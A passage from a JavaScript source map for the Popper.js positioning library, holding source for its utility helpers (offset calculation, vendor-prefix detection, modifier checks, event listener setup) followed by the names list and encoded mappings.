the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import computeAutoPlacement from './computeAutoPlacement';\nimport debounce from './debounce';\nimport findIndex from './findIndex';\nimport getBordersSize from './getBordersSize';\nimport getBoundaries from './getBoundaries';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport getClientRect from './getClientRect';\nimport getOffsetParent from './getOffsetParent';\nimport getOffsetRect from './getOffsetRect';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getOuterSizes from './getOuterSizes';\nimport getParentNode from './getParentNode';\nimport getPopperOffsets from './getPopperOffsets';\nimport getReferenceOffsets from './getReferenceOffsets';\nimport getScroll from './getScroll';\nimport getScrollParent from './getScrollParent';\nimport getStyleComputedProperty from './getStyleComputedProperty';\nimport getSupportedPropertyName from './getSupportedPropertyName';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport isFunction from './isFunction';\nimport isModifierEnabled from './isModifierEnabled';\nimport isModifierRequired from './isModifierRequired';\nimport isNumeric from './isNumeric';\nimport removeEventListeners from './removeEventListeners';\nimport runModifiers from './runModifiers';\nimport setAttributes from './setAttributes';\nimport setStyles from './setStyles';\nimport setupEventListeners from './setupEventListeners';\n\n/** @namespace Popper.Utils */\nexport {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n\n// This is here just for backward compatibility with versions lower than v1.10.3\n// you should import the utilities using named exports, if you want them all use:\n// ```\n// import * as PopperUtils from 'popper-utils';\n// ```\n// The default export will be removed in the next major version.\nexport default {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n"],"names":["element","nodeType","window","ownerDocument","defaultView","css","getComputedStyle","property","nodeName","parentNode","host","document","body","overflow","overflowX","overflowY","getStyleComputedProperty","test","getScrollParent","getParentNode","isIE10","isBrowser","navigator","userAgent","version","isIE11","documentElement","noOffsetParent","isIE","offsetParent","nextElementSibling","indexOf","getOffsetParent","firstElementChild","node","getRoot","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","isOffsetContainer","element1root","findCommonOffsetParent","side","upperSide","html","scrollingElement","subtract","scrollTop","getScroll","scrollLeft","modifier","top","bottom","left","right","sideA","axis","sideB","parseFloat","styles","Math","max","parseInt","computedStyle","getSize","offsets","width","height","rect","getBoundingClientRect","result","sizes","getWindowSizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getBordersSize","getClientRect","fixedPosition","runIsIE","isHTML","parent","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","includeScroll","excludeScroll","relativeOffset","getOffsetRectRelativeToArbitraryNode","innerWidth","innerHeight","offset","isFixed","parentElement","el","boundaries","getFixedPositionOffsetParent","boundariesElement","getViewportOffsetRectRelativeToArtbitraryNode","boundariesNode","popper","padding","isPaddingNumber","placement","getBoundaries","rects","refRect","sortedAreas","Object","keys","map","key","getArea","sort","b","area","a","filteredAreas","filter","computedPlacement","length","variation","split","longerTimeoutBrowsers","timeoutDuration","i","called","Promise","resolve","then","scheduled","supportsMicroTasks","Array","prototype","find","arr","findIndex","cur","match","obj","elementRect","offsetLeft","offsetTop","x","marginBottom","y","marginRight","hash","replace","matched","popperRect","getOuterSizes","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","referenceOffsets","getOppositePlacement","commonOffsetParent","prefixes","upperProp","charAt","toUpperCase","slice","prefix","toCheck","style","functionToCheck","getType","toString","call","modifiers","some","name","enabled","requesting","isRequired","requested","warn","n","isNaN","isFinite","removeEventListener","state","updateBound","scrollParents","forEach","target","scrollElement","eventsEnabled","modifiersToRun","ends","fn","isFunction","data","reference","value","attributes","removeAttribute","setAttribute","prop","unit","isNumeric","isBody","addEventListener","passive","push"],"mappings":"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